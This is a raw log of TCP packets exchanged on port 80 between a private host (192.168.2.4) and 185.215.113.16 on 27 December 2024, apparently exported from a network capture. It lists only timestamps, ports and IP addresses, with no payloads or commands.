Dec 27, 2024 15:04:16.172399044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.172456026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.172466993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.173227072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.173275948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.173330069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.174206972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.174272060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.174284935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.218316078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.220695972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.220769882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.220814943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.221132040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.221250057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.221292019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.222028017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.222103119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.222142935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.222872972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.222985983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.223032951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.223772049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.260445118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.260508060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.260560036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.260792971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.260834932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.261003971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.261178970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.261235952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.261807919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.261935949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.261976957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.261992931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.262770891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.262814045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.262885094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.263650894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.263705015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.263766050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.264564991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.264635086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.264786005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.264904022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.264954090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.265657902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.274461985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.274511099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.274564981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.274849892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.274890900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.298733950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.298746109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.298821926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.299143076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.299271107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.299326897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.299938917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.300092936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.300160885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.300852060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.300935984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.300980091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.301755905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.301815033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.301862001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.302757025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.302768946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.302819014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.345370054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.345463991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.345551014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.345717907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.345809937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.345860004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.346697092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.346774101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.346821070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.347496986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.347613096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.347661018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.348423958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.348494053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.348546028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.385122061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.385135889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.385219097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.385366917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.385492086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.385530949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.386204958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.386441946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.386477947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.386509895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.386939049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.386986017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.387089968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.387851954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.387907028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.388012886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.388773918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.388786077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.388830900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.389424086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.389472961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.389652014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.390223980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.390275002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.398905993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.399003029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.399058104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.399266958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.419487000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.419506073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.419610977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.419923067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.419974089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.419980049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.420133114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.420176029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.420877934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.420974970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.421022892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.421757936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.421889067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.421935081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.422702074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.422758102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.422799110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.423537016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.468358994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.469844103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.469969034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.470026970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.470293045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.470438004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.470493078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.471020937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.471039057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.471097946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.471796036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.471951962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.472003937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.472789049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.472800970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.472847939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.509519100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.509632111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.509716034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.510035038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.510128975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.510166883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.510175943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.511033058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.511096954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.511177063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.511852980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.511905909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.511965036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.512715101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.512768984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.512801886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.513628960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.513678074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.513684988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.514385939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.514446974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.514472961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.515239000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.515288115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.523333073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.523407936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.523462057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.523689032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.544218063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.544306993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.544306040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.544634104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.544680119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.544750929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.545506954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.545559883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.545588970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.546238899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.546289921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.546462059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.546574116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.546618938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.547457933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.547482014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.547529936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.548274994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.593442917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.594204903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.594264030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.594314098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.594616890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.594727993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.594773054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.594775915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.595647097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.595691919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.595716953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.596493959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.596546888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.596584082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.597369909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.597446918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.633933067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.634130001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.634196997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.634495020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.634602070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.634644985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.635273933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.635438919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.635487080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.636269093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.636585951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.636636972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.636641979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.637309074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.637382030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.637409925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.638222933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.638261080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.638274908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.639122009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.639174938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.639202118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.639942884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.639992952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.649466038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.649605989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.649668932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.649832964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.668271065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.668325901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.668348074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.668699980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.668755054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.668845892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.668868065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.668908119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.669666052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.669816017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.669898987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.670548916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.670738935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.670785904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.671427011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.680270910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.680290937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.680330992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.718487024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.718528032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.718553066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.718844891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.718889952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.718956947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.719053030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.719089031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.719911098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.720061064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.720103025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.720742941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.720886946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.720936060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.721642017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.758503914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.758575916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.758582115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.759087086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.759099960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.759133101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.759901047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.759967089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.759979010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.760768890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.760822058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.760881901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.761687994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.761729956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.761743069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.762554884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.762608051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.762727022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.763370037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.763425112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.763541937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.764230967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.764283895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.764314890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.765201092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.765213013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.765259981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.774013042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.774096966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.774116039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.774403095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.774456024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.792819977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.792907953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.792974949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.793210030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.793484926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.793498039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.793550014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.794215918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.794300079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.794373035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.795108080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.795166969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.795228004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.795928001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.796008110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.843092918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.843293905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.843346119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.843565941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.843579054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.843626976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.844217062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.844274044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.844320059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.845055103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.845067978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.845112085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.845882893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.845967054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.846009016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.846815109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.882946968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.883029938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.883032084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.883419037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.883495092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.883510113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.884347916 CET	80	49743	185.215.113.16	192.168.2.4
